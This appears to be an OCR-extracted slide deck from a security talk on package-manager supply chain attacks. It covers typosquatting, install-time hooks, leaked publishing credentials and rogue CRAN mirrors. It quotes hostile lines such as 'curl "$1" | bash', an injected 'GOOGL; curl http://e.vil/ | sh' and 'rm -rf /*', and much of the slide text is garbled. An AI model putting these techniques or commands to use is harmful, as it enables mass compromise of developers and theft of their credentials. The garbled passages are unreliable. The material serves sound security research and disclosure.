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PRACTICAL SOFTWARE SUPPLY CHAIN ATTACKS



Prior Work

"Supply Chain Attack Framework and Attack Patterns" John F. Miller, MITRE, 2013

Directed at

|

Malicious Insertion System and Software
Supply Chain Attacks: Development Locations

Program OCffice

lAdministrative control over suppl cha'm‘ and their Internal
” T Environments (e.g., IDEs)

; Prime Contractor
: i {Acquisition/Sustainment) and Processes

Type of attack:

Sub Contractor
Maliciousinsertion:

= Hardware

= Software

= Firmware

= System Data/
information

Malicious insertion includes:
Sub Contractor = Substitution

* Alteration
T = Malware Sh al‘kS
System Data/Iinformation includes:
Hardware/&?ftware - Requirements
Integration

Tornado

(Incl. 2rd party bundling) » Design
* Manualis
A = Architectures

Legend:
Possible Points of Attack

* Roadmaps

Malicious insertion affects
all temslisted inthe red box

Attack Point-Tag #

Primary Production [hardware)

Integrators
Aszsembly Suppliers

Primary Production (software)
T Testing

Implementation
Design

Requirements Anzalysis

Subassembly Suppliers
Orig Equip Manufacturer

Attacks can occur at all

levels in the supply chain BHEEFLE [CHALN




Prior Work

Flame malware
o Subverted Windows Update by intercepting update requests and inserting malicious code

o Used groundbreaking cryptographic break to forge signatures
> Authors have not stepped forward to claim credit or provide further details ©

Crypto breakthrough shows Flame was
designed by world-class scientists

The spy malware achieved an attack unlike any cryptographers have seen before.

DAN GOODIN - JUN 7, 2012 6:20 PM UTC

collision |

Message A achieved
bi rthdav near-
i preﬂx padulng buts collision ~
""’"‘ Sea | collision
| block S,_,
near-
/ alllsmn
| block S5
: suffix
near-
collision
block S
------
collision
bi r‘!hﬁdv block S,
prenx padd ing coll sum [+
block S°
Enlarge / An overview of a chosen-prefix collision. A similar technique was used by the Flame espionage malware that targeted

Iran. The scientific novelty of the malware underscored the sophistication of malware sponsored by wealthy nation states.




App Stores

Not a new attack, so we will not be covering them further,
but extremely prevalent and effective

Difficult to perform anonymously
Normally stick to legal unwanted actions 189% dojot encrypbtafiic ot

Example, VPN apps:

2 out of 3 use third-party tracking libraries

Over 80% request to access sensitive data
such as user accounts and text messages




Kingslayer breach

Compromised Altair Technologies, and infecting software updates for sysadmin software

Hit “five major defense contractors; four major telecommunications providers; 10+ western
military organizations; more than two dozen Fortune 500 companies; 24 banks and financial
institutions; and at least 45 higher educational institutions” (Krebs)

oraclesoft.net registered

Kingslayer timeline

o oot osigeror 17 March 2015 - 07 September 2016

Mar3l

RSA FirstWatch begins hunt for mystery

Event log analysis software update website malware behind oraclesoft.net beaconing

subverted w/ Kingslayer backdoor **0**

Event log analysis software vendor

Senior sysadmin of cleared defense contacted, security notice posted

contractor "lota" installs event log analysis
software

Apr 22 oraclesoft.net lawfully seized and sinkholed
by RSA Research
Backdoored eventlog analysis software Jul 14
republished & websiter diated by
vendor Defense contractor "lota” contacted about
Apr 26 Kingslayer backdoor beaconing
Jul 21
Defense contractor "lota" "visited" by
Kingslayer actors Defense contractor "lota” begins incident
timekard.com registered Jul 15 response
Mar27?7 AU S
Last visit of defense contractor "lota" by All femaining Kingslayer beaconers
‘! sanss
First Kingslayer binary compiled **0' Kingslayer actors Corkacted
Mar 30 Aug 17 Sep 7




Supermicro Apple breach

dl'S TECHNICA <«

SIRI-OUS BUSINESS —

Apple deleted server supplier after
finding infected firmware in servers
[Updated]

Report: Siri, internal development servers affected by fake firmware patch.

SEAN GALLAGHER - 2/24/2017, 10:49 AM

L D A LS &

Update: A source familiar with the case at Apple told Ars that the compromised firmware affected
servers in Apple's design lab, and not active Siri servers. The firmware, according to the source, was




Thumb Drives, HID-spoofing Devices

troop configurations. In 2008 according t
to “Dark Territory,”

war by Fred Kaplan] Russian hackers ac-
complishédateat that Pentagon officials
considered almost impossible: breaching
a classified network that wasn't even con-
nected to the public Internet. Appar-
ently, Russian spies had supplied cheap
thumb drives, stocked with viruses, to
retail kiosks near NATO headquarters in
‘| Kabul, betting, correctly, that a U.S. ser-
| viceman or woman would buy one and

\ insert it into a secure computerjin the
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Why software supply chain attacks?

Nearly impossible to detect/differentiate evil WHY DO THEY ALIWNAYS

software update/download

° |t comes when you expect from where you ﬂnll T“EM "ATI““'STATES

expect
o Of course you have not seen it before

Vast scale; compromising the developers or
distribution of popular software owns millions

° You think hunting sysadmins gets you access?
Wait until you hunt developers

But don’t they require world-class exploitation
skills or cryptographic miracles?

Aren’t developers much more tech-savvy and WHE“ T"Ev I“ST
hard to own compared to normal users? MEAN "STATES"?

imgflip:co:




Supply Chain Attack Considerations

Is it possible to launch the attacks anonymously?
o |f strong attribution is required, it becomes less attractive to offensive groups

o Getting an app on the Apple store — painful to do anonymously; need to forge documents, use non-
anonymous payment methods, etc.

Are there other barriers to submitting packages or launching the other attacks?
o Every offensive group is resource-limited and most are task-saturated

o If an attack takes an inordinate amount of time or resources, it is not attractive

Is the attack reliable?
o How many actions does it require that the user make?

o |s it specific to a particular OS or privilege level?

Does it execute immediately?



Package Manager Pwnage

THE ATTACK STRATEGIES




Package Managers Overview

Package manager
o Big collection of libraries for a programming language

o A primary online repository serving all posted open-source libs (tools usually support private repos too)
o CLI tools to easily install a package with all dependencies

Every major programming language has one
Pulling libraries from the package manager is a requirement for all but the simplest programs

Example, to use the popular python numerical calculation library “numpy” in your code, run:
o “pip install numpy”

Installs can be run as user or root



Package Managers Overview

Developer Package &
Developer submits to User types dependencies
creates package package install command are downloaded
manager and installed




Package Managers Attack #1

Atttack of teh typos!

Scripters and developers install packages manually... usually by
typing the install command by hand.

What happens if you mistake a letter (or drop a letter... or hit a
neighboring key...)?

Packages are installed *without confirmation™ in nearly all
package managers!




Package Managers Attack #2

Wrong manager attack INSTALL.5H
#!/bin/bash
Developers frequently have to work in a lot of environments; with _ .
python and node and ruby and... PP mﬂmﬁﬁﬁ‘ 2
° |t is easy to confuse install commands, forget which environment ﬁ'}m” “$1" &
> Example: trying to install a python package using the ruby or node package manager npm ingtall s1" &
> Even with a correct install command, it is easy to assume a package with | M irﬁt&"::%, & dnfinstall "$1° &
the same name in a different repository does the same thing mﬁﬁlﬂ“ ;‘
o Some lazy developers may use a universal install script -> opt-get install “$1° &
_ sudo apt-get install “$1" &
So we would expect a package with the same name as a popular steomcmd +app_update 81" validate &
package in another repository would get installs git clone https:/github.com/"$1'/°$1" &
cd “$1";. /configure; moke; make install &
curl “$1" | bosh &




Package Managers Attack #3

Evil Repository Attack

Surely the repositories themselves are secure and
trustworthy, right?

How are mirrors vetted?
Are mirrors trusted by the package manager client?
How are packages verified?

Is the connection between you and the package
manager authenticated and encrypted?




Package Managers Attack #4

Account takeovers

Security and authentication for package maintainers is fairly abysmal across the board
Package managers enable powerful and reliable post-exploit expansion of access

Development workflow for high-impact open-source developers exposes unique weaknesses
that can be exploited to compromise their accounts and systems

o Most widely used projects accept contributions via github pull requests

(o]

Pull requests let developers rapidly switch to patched branch via git

(o]

PR’s save time when you open them on the same system you do your development from

o

The same system you have your private SSH key etc. on

o

Bug reports, troubleshooting code samples... means developers run more untrusted code than others
But don’t developers review the code diffs before checking out the branch?

° They do, but they don’t review the code of additional dependencies!

o
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Package Ma ' Pwnage

ATTACKS APPLIED TO PACKAGE MANAGERS







Pip/PyPl: The Python Package Manager

Pip/PyPl is one of the most commonly used package managers due to Python’s popularity

“pip” is the command line client, “PyP1” is the repository
(“Python Package Index”)

Submitting a package requires an account on pypi.python.org
How are packages uploaded?

How can targets be selected?




PyPl: Registration

You need an email. That’s it. All domains are allowed. Tor is allowed.

Manual user registration
Login

Register

Lost Login?

You can use your PyPl account to log into other services supporting OpenlD. You need to first log into PyPI Use OpeniD ! _

before logging into other services (doing it the other way is prone to phishing attacks). To log in, simply type Login with Google >

pypi.python.org into the field asking for an OpenlD. Your OpenlD is https:/ipypi.python.orgfid/; you can also
use this ID directly to log in.

This form allows "traditional” registration (using a password). Users who want to register with their CpenlD (e.g.
Google or Launchpad account) should follow one of the links to the right.

Username:
Password:
Confirm:

Email Address:

PGP Key ID (optional): (This identifies a PGP or GPG key)
Register

Please ensure your password is of a reasonable length (=8 characters) and mixes letters, cases and numbers. Please don't use the same
password as with other services.

A confirmation email will be sent to the address you nominate above.

Please ensure you will be able to receive email from admin@mail pypi_python.org (check any "sender confirmation” systems you might be using.)

To complete the registration process, you must visit the link indicated in the email.




PyPl: Targeting popular packages

The pypi-ranking.info site provides download counts for all packages. The most-used package
has been downloaded over 180 million times!

PyPI Ranking [ 1 “Q Search ‘

Find famous Python modules and authors

All Time

Page 1 of 1683 next

et 211::111:1?]}:";05: extensible JSON encoder/decoder for Python Hbiseis @
2nd setuptools _ _ 63,758,431
Download, build, install, upgrade, and umnstall Python packages -- easily!
3rd ;‘i}x'thon 2 and 3 compatibility utilities 34930976 @
4th ;:?;TSTTP o 53,961,784 @
> :.qur‘t?; lf:a}]-:;on Environment builder 10,718553 @




PyPl: Submitting A Package

Creating a package:
° This is an easy process

o Packages are small and can have as little as 2-3 small text files in them.
o Once you are ready you run:

python setup.py upload

o The first time you run this, it will prompt you for the password you registered with
o Package will be immediately visible on PyPl and installable with “pip install”



PyPl: Code Execution On Pip Install

vl setuptools based setup module.

Code execution on a Python package is as trivial

as creating the package See:
https://packaging.python.orgfen/latest/distributing. html
All packages have a setup.py file in them MEtps://github. con/pypalsanpleproject
Setup.py is executed immediately on install # Always prefer setuptools over distutils
from setuptools import setup, find_packages
Add any python COde to th'S f||e! # To use a consistent encoding

from codecs import open

from os import path

here = path.abspathi{path.dirname(__file__ )]

# Get the long description from the README file

with open({path.join{here, 'README.rst'), encoding='utf-8') as +:

long_description = f.read()

setup(

name="sample"’,
™



Pip: Post-Exploit Power

As previously mentioned, pip upload asks for your password the first time it is run.

Why?

If you created your account using option #1 (the form), you'll need to manually write a -~/ .pypirc

file like so.

Packaging and Distributing Projects

[distutils]

Requirements for Packaging and . .
index-servers=pypil

Distributing
Configuring your Project [pypi]

repository = https://upload.pypi.org/legacy/
Working in “Development Mode™ USErname = <USEername>

. . assword = <password>
Packaging your Project P .

Uploading your Project to PyPI




filetype:pypirc $ Q

All Images News Shopping Maps Mare Settings Tools

About 124 results (0.16 seconds)

pypirc.PyPiRC - Nullege Python Samples

° °
[ nullege.com/codes/search/pypirc. PyPiRC
- PyPi Caonfiguration File Manager. Can be used for updating ~/.pypirc file programatically. Example: »»>
[

a = PyPiRC(doctest_pypi.cfg’) »>> new_server = {pypi" ...

devpi.pypirc - Nullege Python Samples
1c 1 nullege.com/codes/search/devpi.pypirc
If yo u n eed to kn OW Why th I S I S ba d 10 Samples. ... from devpi import pypirc from textwrap import dedent def test_pypirc(tmpdir): p =
tmpdir join("pypirc”) p.write(dedent(""\n [distutils] in...

o With these creds you can upload a malicious update
to any package the account has rights over

amitjaiswal/.pypirc at master - amitjaiswal396/amitjaiswal - GitHub
https://github.com/amitjaiswal396/amitjaiswal/blob/master/.pypirc +
Contribute to amitjaiswal development by creating an account on GitHub.

o This malicious update will infect everyone installing

the original package even WithOUt typOSI libChEBIpy/.pypirc at master - libChEBI/libChEBIpy - GitHub

https://github.com/libChEBI/libChEBIpy/blob/master/ pypirc
libChEBIpy: a Python API for accessing the ChEBI database.

° These are the keys to the kingdom for as many as

hundreds Of millions Of systems .pypirc - 047¢c33b5fb684b479fd5eae104cf3dc1f63b4596 - The Farm ...

https://code.tf/thefarm/pytick/blob/.../ . pypirc
Sep 24, 2016 - [distutils] index-servers= pypi pypitest [pypitest] repository = hitps://testpypi.python
.org/pypi username = Thefarm password ...

o 2FA is nonexistent

.pypirc - fbfbfdbe5d0e3d672beb7d94260bbeadecc7ee2a - The Farm ...
https://code.tf/thefarm/pytick/blob/.../ .pypirc

Sep 24, 2016 - [distutils] index-servers= pypi pypitest [pypitest] repository = hitps://testpypi.python
.org/pypi username = Thefarm password ...

o Single arbitrary file read = owned

o Configuration file plausibly included in
troubleshooting and debug outputs = owned

Default server in multiple server configuration of distutils in ~/.pypirc
quedig.com/.../default-server-in-multiple-server-configuration-of-distutils-in-.pypirc +

Mar 29, 2011 - | want to have multiple PyFI servers in my ~/ pypirc file so | can easily publish to different
servers, depending on the project. My use-case is this, ...

o Backup file accidentally left around = owned

o Forgot this credential file existed because it’s a , _ ,
. . . How to submit a package to PyP| under a different user than my ~/.pypirc
hldden fllE? YOU knOW It. quedig.com/.../how-to-submit-a-package-to-pypi-under-a-different-userthan-my-py... *

Feb 15, 2016 - As far as | can tell from the docs, unlike with say git and .gitignore files, setuptools will
only look in your SHOME directory for a .pypirc file.

.pypirc - master - aio / pyrepo - GitLab
https://lab.errorist.xyz/aio/pyrepo/blob/master/ pypirc

Jan 20, 2016 - [distutils] index-servers = base root [base] repository: hitp://127.0.0.1:3141/pypi
username: root password: p@ss [reot] repository: ...




Pip/PyPI Results

Created 2 packages similarly named to popular packages

Packages depend on the original
Added code to ping a stat collector on install

Re-read the CFAA 2 or 3 times to make sure no problems

o CFAA criminalizes accessing a computer without “authorization”

o No privesc or touching any system but where package was requested = no “unauthorized” actions
Court precedent implies as long as all your actions are documented, you are fine, but we went further
No backdoor or arbitrary code execution = no “access”

(o]

(e]

o

No persistence, no extraction of creds or data files

Pushed to PyPI, waited, and...









NPM: The node.js Package Manager

NPM is another of the most commonly used package managers due to node.js’s popularity

Stands for “Node Package Manager”
Submitting a package requires an account on https://www.npmjs.com/
How are packages uploaded?

How can targets be selected?




NPM: Registration

You need an email. That’s it. All domains are allowed. Tor is allowed. Or use npm adduser

Oh and it doesn’t verify the email. Create a profile or QETD

Name
Public Email

Username

username

https://www_npmjs.com/~username

Password oo l
Features
Sign up for the npm Weekly npm account

[ I agree to the End User License Agreement and the Privacy Policy. .
Search and discover

Your email address will show on your profile page, but npm will & over 280,000 packages

never share or sell it.
Publish and download

open source packages
Create an Account
a0, Unlimited contributors



NPM: Targeting popular packages

NPM features most popular packages on their homepage and each package has stats and
collaborators. Most popular get millions of downloads per month!

Collaborators iist

AFR IS

Packages people 'npm install' a lot

browserify gulp npm ; :
browser-side require() the node. . ? The streaming build system 0 a package manager for JavaSc. .. .
14.0.0 published 3.9.1 published 4.1.2 published
2017-01-25T04:31:57 4497 by feross 2016-02-08T18:50:16 4727 by phated 2017-01-12T23:50:45 2317 by iama
grunt-cli grunt cordova Stats
The grunt command line interface % The JavaScript Task Runner u Cordova command line interfac._.
1.2.0 published N 1.0.1 published — 6.5.0 published
2016-04-02T00:53:56.768Z by viadikof 2016-04-05T18:16:49.769Z by shama 2017-01-24T00:63:44 2157 by stevegil 98273 downloads in the last day
By bower EXOIesSs express forever

f The browser package manager Fast, unopinionated, minimalist. .. m A simple CLI tool for ensuring t... 616095 downloads in the last week

1.8.0 published 4.14.1 published 0.15.3 published

2016-11-07T10:01:58.656Z by sheerun 2017-01-28T22:33:15.9507 by dougwilson 2016-11-02T04:00:19.105Z by indexzero

2474537 downloads in the last mont




NPM: Submitting A Package

Creating a package is similar to PyPI:
° This is an easy process

o Packages are small and can have as little as 2-3 small text files in them.
o Once you are ready you run:

npm login

npm publish

° You only need to run npm login the first time if you didn’t use npm adduser.
° npm login will prompt you for the password you registered with
o Package will be immediately visible on NPM and installable with “npm install”



NPM: Code Execution On Npm Install

Code execution on a node.js package is as
trivial as creating the package

All packages have an install.json file in them
Inside package.json, simply set the scripts:

{ "scripts": { "preinstall"
"npm install node-pre-gyp",
"Install" : "node-pre-gyp
install --fallback-to-build" }

-}

Script commands will be executed immediately
on install

EXAMPLES

For example, if your package.json contains this:

{ "scripts" :
[ "i " : "scripts/install.js"
"postinstall"™ : cripts/install.js"

r
, "uninstall"™ : "scripts/uninstall.js"
1
i

}

then seripts/install.js will be called for the install and post-install stages of
the lifecycle, and seripts/uninstall.j=s will be called when the package is
uninstalled. Since seripts/install.djs is running for two different phases, it
would be wise in this case to look at the npm_lifecycle event environment
variable.

If you want to run a make command, you can do so. This works just fine:

{ "scripts" :
{ "preinstall" : "./configure™
, "install"™ : "make && make install"™
, "test™ : "make test"™




NPM: Post-Exploit Power

As previously mentioned, npm login is a separate step.

Why?

Because of course it caches an auth token nearly equivalent to your password. Again,
o These are the keys to the kingdom for as many as hundreds of millions of systems

Single arbitrary file read = owned

Configuration file plausibly included in troubleshooting and debug outputs = owned

Forgot this credential file existed because it’s a hidden file? You know it.

o

o

(¢]

o

Backup file accidentally left around = owned
ZFA is nonexistent E # C -E'Jt '-"_."II .1 I:l M r:'l:::
cGFjaZFnZWlhbmUe\

o




Next step

Identify candidates for typosquatting
And...

Malicious npm experiment, Adam Baldwin ices  Case Studies ' Te

A Malicious Module on npm
Jan 27,2015 - Adam Baldwin A

Earlier this week a package called rimrafall was published to npm. This package
had a preinstall hook that executed the command rm -rf /* . It was created on
01/26/2015 at 15:28 and immediately posted to Hacker News and then it was

unpublished from the registry by npm at 17:06 — giving it a lifespan of less than two
hours. Get 25§

Don't ass

The goal behind this example was to raise awareness of potential insecurities with
how npm installs packages, and to highlight the necessary steps that are required to
mitigate a rogue package from doing harm.




THE FAGE YOU MAKE

WHEN!SOMEBODY/ELSER
PUBLISHES BEFOREYOU}

imgflip.com




NPM Experiment

Adam Baldwin had access to the logs to
see the most common typos

L e MONSTER STORIM-RADAR
. !

g
/|

The top had > 20,000 hits

Dropped punctuation was the most
common

o some-package => somepackage A
iy =
Dropped double letters ' |
o Tree => tre \
Lessons learned - A

’ . w Do on ."1, (s
° Do a little research before just making up ' ‘ k g i | »>yle
package names N - ﬁ

o Typos are everywhere

hurs 8/7c

, ; ﬁ' | )*.
’ | / All Neﬂ ince |

Sharks. Everywhere.



Commercial offerings

“Trusted” modules now a startup model

B NODESOURCE®

For the low, low price of $1000/month @ Cortied Mocies

you too can use Certified modules I thid-

They check for versioning, tests, coherent party Node.js modules
metadata, updates, source control

No mention of checks for backdoors

WHAT IS NODESOURCE CERTIFIED MODULES?

The Node.js ecosystem is home to nearly half a million modules, but not all of these are secure, well-
maintained, or up-to-date.

As the Node.js ecosystem continues to grow, more organizations rely upon untrusted 3rd party Node modules to run
mission-critical applications and services.






RubyGems: The Ruby Package Manger

Find, install, and publish
RupyGems.

Search Gems... Q
DOWNLOADS & COUNTING




RubyGems: The Ruby Package Manger

:~# gem healn
RubyGems is a sophisticated package ma

basic help messags contzining polnters

Usage:
gem -h/--help

This means it will be much more secure.
Right?




RubyGems: The Ruby Package Manger

For any security bug or issue with the RubyGems client or RubyGems.org

service, please email security@rubygems.org with details about the problem or
submit a report using HackerOne. The RubyGems client library is in scope for
bounty reward. You can read the details of the bounty program on the

RubyGems HackerOne page.

Found a security issue with RubyGems or RubyGems.org? Please follow these steps to report it.
For bounty rewards, only the rubygems library Is In scope.

Reporting a security issue

Before continuing, please ensure this is a security issue for the RubyGems client or the RubyGems.org
service. For all vulnerabilities with individual gems, follow our guide on reporting security issues # with
others' gems. If it's a security issue with the Ruby on Rails framework, see the Rails Security guide (=,

For any security bug or issue with the RubyGems client or RubyGems.org service, please let us know here

with details about the problem.




RubyGems: Registration

You need an email. That’s it. All domains are allowed. Tor is allowed.

Email is verified!

Please confirm your email address with
RubyGems.org

"RubyGems.org” <no-reply@mailer.rubygems.org> <

—— el

1

IyGems.org! Click the link below to verify wour email.
wddress




RubyGems: Targeting popular packages

12 gems with > 100 million downloads

Stats

TOTAL GEMS TOTAL USERS TOTAL DOWNLOADS
< 129,015 & 110,010 ri—l 12,090,822,204

ALL TIME MOST DOWNLOADED

110,790,487

thor
i18n



RubyGems: Submitting A Package

Creating a package is similar to PyPI:
° This is an easy process

o Packages are small and can have as little as 2-3 small text files in them.
° Once you are ready you run:

5 gem push squid-utils-0.1.0.gem
Enter your RubyGems.org credentials.

Don't have an account yet? Create one at https://rubygems.org/sic

Email: gem author@example
Password:
Signed in.
Pushing gem to RubyGems.org...

Successfully registered gem: squid-utils (0.1.0)
° You only need to enter your password to login the first time.

|II

o Package will be immediately visible on RubyGems and installable with “gem instal



Ruby: Code Execution On Gem |nstall

Code execution on gem install is also trivial

. . . . EXTENSIONS
Every gem includes a .gemspec configuration file

Inside the gemspe(:’ sim p|y dEfI ne an extension Extensions to build when installing the gem, specifically the paths to extconfrb-

style files used to compile extensions.
Extension commands are run immediately on install
These files will be run when the gem is installed, causing the C (or whatever)

code to be compiled on the user's machine.
YOURFIRST GEM

Usage:

| started with just one Ruby file for my hela gem, and the gemspec. You'll need a

new name for yours (maybe hela_ yourusername) to publish it. Check the

Patterns guide for basic recommendations to follow when naming a gem. spec.extensions << ‘ext/rmagic/extconf.rb’

% tree

I— hola.gemspec
L— 1ib

L— hola.rb



RubyGems: Post-Exploit Power

When you push a gem or do anything guess what gets saved

~/.gem/credentials

Because of course it caches an auth token nearly equivalent to your password. Again,
o Hundreds of millions of systems, 2FA is nonexistent

o Single arbitrary file read or configuration file leak or backup accidentally left around...

# cat .gem/credentials

LR




RubyGems: The Good Parts

“Hacking With Gems” Benjamin Smith, 2013 http://lanyrd.com/2013/rulu/scgxzr/
o Discusses many potential attacks if you do install a malicious gem

° Inspired security proposals for RubyGems

Installing a gem allows that gem’s code to runin the contextd However, this method of securing gems is not widely used. It requires a number
Clearly this has security implications: installing a malicious g& o hanual steps on the part of the deve sper, and there is no well-established

chain of trust for gem signing keys. Discussion of new signing models such as
X509 and OpenPGP is going on in the rubygems-trust wiki, the RubyGems-

RubyGems has had the ability to cryptographically sign gems |
Developers list and in IRC. The goal is to improve (or replace) the signing system

0.8.11. This signing works by using the gem cexrt command t
so that it is easy for authors and transparent for users.

T

and then packaaina sianina data inside the aem itself. The aer

Signatures are not checked or required by default

Only 1 of the top 10 gems is signed


http://lanyrd.com/2013/rulu/scgxzr/

RubyGems: Signing

# build a private key and certificate for yourself:

% gem cert --build youfiexample.com

This could take anywhere from a few seconds to a minute or two, depending on the
speed of your computer (public key algorithms aren't exactly the speediest crypto
algorithms in the world). When it's finished, you'll see the files "gem-private key pem”
and “gem-public_cert.pem” in the current directory. _—

First things first: Move both files to ~/.gem If you don't already have a key and certificate
in that directory. Ensure the file permissions make the key unreadable by others (by






CRAN

The Comprehensive R Archive Network

Package manager for the R statistics language i
8 5 gU48 Willie Sutton: Infamous Bank Robber

R is almost certainly the most popular statistical e iy oo ik Barid

computing and data analysis language

A: Because that’s where the money is

Not as many installs as other more well-known
general purpose languages

So why target R?
Because that’s where the data is!
Packages installed by running (in R):

install.packages ("packagename")




CRAN: Targeting popular packages

Top package has nearly 1 million downloads over 4-5 months

Downloads (000) from CRAN, Jan-May 2015

0 100 200 300 400 500 600 700 800

Recpp |
ggplot2
stringr
plyr
digest
reshape2 i
colorspace
RColorBrewer
manipulate
scales
labeling
proto
munsell
gtable
dichromat
mime
RCurl
bitops
200
knitr




CRAN: Package Submission

Manual submission via web Submit package to CRAN
form followed by manual Step 1 Step 2 Step 3
. (Upload) (Submission) (Confirmation)
review
Your name*:
. . CRAN .
There are 10091 existing Mirrors Your email*:
What's new? Package*: Browse... No file selected.
paCkageS Task Views (*.tar.gz files only, max 100 MB size)
Search .
Optional comment:
Same submission used for  Aboutr
E Homepage
updates The R Journal
Software
Spot a flaw? R Sources
‘ R Binaries
Packages
Other *: Required Fields
Apparently no other
H Documenteation Before uploading please ensure the following:
|Og| n/passwo rd/tO ken Manuals « The package contains a DESCRIPTION file
FAQs ¢« DESCRIPTION file contains valid maintainer field "NAME <EMAIL="
Contributed « You are familiar with the CRAN policies
Upload package
In case of problems, contact the CRAN sysadmin team




CRAN: Replacing popular packages

Manual submission via web form apparently allows anyone to submit an update for a popular
package

All the required information is already published (package maintainer’s email, etc.)

Unclear if any notifications get sent

Would need to insert non-obvious vulnerable code/backdoor

o Example: import current stock data -> query stock symbol against your server then, run “curl
http://somestocklookupsite/SYOURSTOCKSYMBOL” Looks good until you return

“GOOGL; curl http://e.vil/ | sh” as the stock symbol
o Plenty of other ideas, invent your own!

But wait, there is a better attack



Installing R and packages

R RGui (64-bit e ]

- FEile Edit View Misc Packages Windows Help

S00gle | e EEO 6|

trying URL 'https://cran.cnr.berkeley.edu/bin/windows/contrib/3.3/labeling 0.3.5
Content type 'application/zip' length 40%14 bytes (39 EB)
downloaded 359 EB

trying URL 'https://cran.cnr.berkeley.edu/bin/windows/contrib/3.3/Rcpp 0.12.9.28
Content type 'application/zip' length 3247265 byte=s (3.1 MEB)
downloaded 3.1 MB

trying URL 'https://cran.cnr.berkeley.edu/bin/windows/contrib/3.3/scales 0.4.1.%
Content type 'application/zip' length 675730 byvtes (652 EB)
downloaded 659 EB

package ‘colorspace’ successfully unpacked and MDS sums checked
package ‘RColorBrewer’ successfully unpacked and MDS sums checked
— package ‘dichromat’ successfully unpacked and MDS sums checked
package 'plyr’ successfully unpacked and MDS sums checked

package ‘munsell’ successfully unpacked and MDS sums checked
package ‘labeling” succeszsfully unpacked and MDS sum=s checked
package “Repp’ successfully unpacked and MDS sums checked
package ‘scales’ successfully unpacked and MDS sums checked

The downloaded binary packages are in
C:\Users\usgch admin‘\Applata‘Local\Temp\RtonpE5Y¥YSk8\downloaded packages




CRAN: Mirrors

In contrast with all the other package managers, CRAN relies nearly exclusively on mirrors

Mirrors to download the installer, re-select a mirror when downloading packages

Package verification is via MD5
Where does it get the MD5 from?
The package zip

Half the mirrors are HTTP
o Only matters for initial download

o HTTPS mirrors are preferred for pkgs

How does one become a mirror?

lize ¥

W %« Local » Temp » gtable 0.20 » gtable »

Extract all files

|1, gtable 0.2.0

.. gtable

. help

. html

. Meta
K R

. VirtualStore
. Locallow

. Roaming

i Contacts
i Desktop
& Downloads

“+ Faunrites

MD5 Compressed size: 556 bytes
Size: 919 bytes

Search

v|¢’|

MName

. help

. html

. Meta

L R

|| DESCRIPTION
|| INDEX

| | MD5

|| NAMESPACE
|| NEWS.md

||

-~ 4| i |

Ratio: 40%
Date medified: 3/11/2017 1:49 AM

gtable

Type

File folder
File folder
File folder
File folder
File

File

File

File

MD File

S

+ | MD5 - WordPad

bfb0bc84ale808c5d8befbdl8d06dd0l
cf741483f29245f9c3d58df6al75c855
b304e0362ee2d5Sbdbéb3f4db3a3fdea3
d5010££5f40£945daB2625787eaa35%1c
0cdO0cd2bldf3ea7313d321e%a8e27b%
abfetlleeb9bbc70560e%a6cT74a2c5523
T1f127bb7d9568f62e7559513bdeaad?2
24953d6374fd57d6378eal0fcbe5d0al
1735646c3828af23Tb0£15%a478cffe57
ebf0fc819595d631b8bf280c4b045540
f0538955b8cB3f067b3206209525b2b27
eTbb6afSdaat75%e06c3fba585a025del
f643cbdb2508dd2f8e422bleet6513£5
el1daB226570266d1£%a01le6fc05f5e6e
bce527acc4588c34938037fbefldd2be
4d043f480640edccl13316aee20404fb
95d107cad5463a565f09£f7dae25a9f5c
2a04a85cf8302e66115aaf270££40da3
b6763e6916850c631£fde3£2643803bla

*DESCRIPTICN
*INDEX
*Meta/Rd.rds
*Meta/hsearch.rds
*Meta/links.rds
*Meta/nsInfo.rds
*Meta/package.rds
*NAMESPACE

*NEWS .md
*R/gtable
*R/gtable.rdb
*R/gtable.rdx
*help/AnIndex
*help/aliases.rds
*help/gtable.rdb
*help/gtable.rdx
*help/paths.rds
*html/00Index.html
*html/R.css




CRAN: Mirrors

Set up a web server with ~200GB free space
Set up rsync and some apache configs

Come up with a good reason why they should add
you

Send an email

Would the project allow hacker
scriptjunkie@scriptjunkie.us to host a mirror?

You bet!

(again, | did not alter any packages)

CRAN Mirror HOWTO/FAQ

This page explains how to create a new CRAN mirror. which 1s fairly simple. If vou would like to become an
official CRAN murror, please be sure to read and follow these instructions carefully. You should have the consent
of vour hosting company (if vou aren't a hosting company vourself). and be prepared for some reasonably
significant bandwidth usage. The full size of CRAN was approx 120GB on 2012-10-16 (and we are growing all
the time).

We currently have no written set of rules when we accept a new mirror into the official list. PHP accepts only up
to two mirrors per country, we think there mayv be need to treat China different from. say. Luxembourg. So use
common sense and ask vourself whether vour mirror helps the R community. We want good global coverage. but
also short lists on the mirror webpage or m a GUIL In addition. human tiune 15 mvolved mn mamtaiming the list and
monitoring it. If there 1s no mirror in vour country. it will usually accepted. Otherwise ask first if in doubt.

Where do I get a copy of CRAN?

The CRAN master site at WU Wien, Austria. can be found at the URLs
http://cran r-project.org

ftp:/eran r-project.org/pub/R/

FSVIC: Craf I-Project.org:
All yvou have to do 1s recursively mirror the complete tree to vour webserver on a regular basis (at least twice a
weelk, better every 1-2 days. but not more than twice a day). Which software you use for mirroring depends on the
operating svstem of vour server, but we strongly recommend that vou use rsvne. For security reasons we
furthermore recommend nurroring over a SSH tunnel. You mayv want to call rsyne using the following arguments:

rsync -e "ssh" -rtlzv --delete cran-rsync@cran.r-project.org: /dirfon/local/disc
or {potentially insecure):
rsync -rtlzv --delete cran.r-project.org::CRAN /dir/on/local/disc

Please send your public SSH key to cran-svsadmin@r-project.org in advance and do not forget the --delete flag
to remove files from the mirror that are no longer present on the master.

Server configuration

CRAN contains no dyvnamic pages. so no special configuration of vour web server is needed. The only exception
1s that files with extension .shtml need to be recognised as HTML pages. but that 1s the default for most server




CRAN: Mirror stats

Over 10 days

43,733 total packages downloaded by R
949 unique IP’s

NEXT TIME YOURE AFRAIDEF

B~ TO SHARE IDEAS
d22, d load
gs;clween 529 and 22,209 downloads per REMEMBER SOMEONE

dONCE  SAID IN A MEETING |
LETS MAKE A FILM WITH A
§ TORNADO FULL OF SHARKS;

Nearly 100 unique IP’s per day

Mostly US
o Obviously, mirrors are listed by country

° You could set up a mirror in whatever
target country you want




s typosquatting in the wild?

PHP is the most popular server-side web programming
language

Composer is the command line tool to pull packages and
manage dependencies

Uses Packagist repository

Dependencies specified in composer.json and installed with
“ohp composer.phar install”

. Dependency Manager for PHP
One of the most popular PHP packages is Laravel (“The PHP

Framework For Web Artisans”) Getting Started Download
Laravel is obtained via installing "laravel/framework” Bocumeniation S s Aokt
"larvel/framework" is somebody else o GitHub

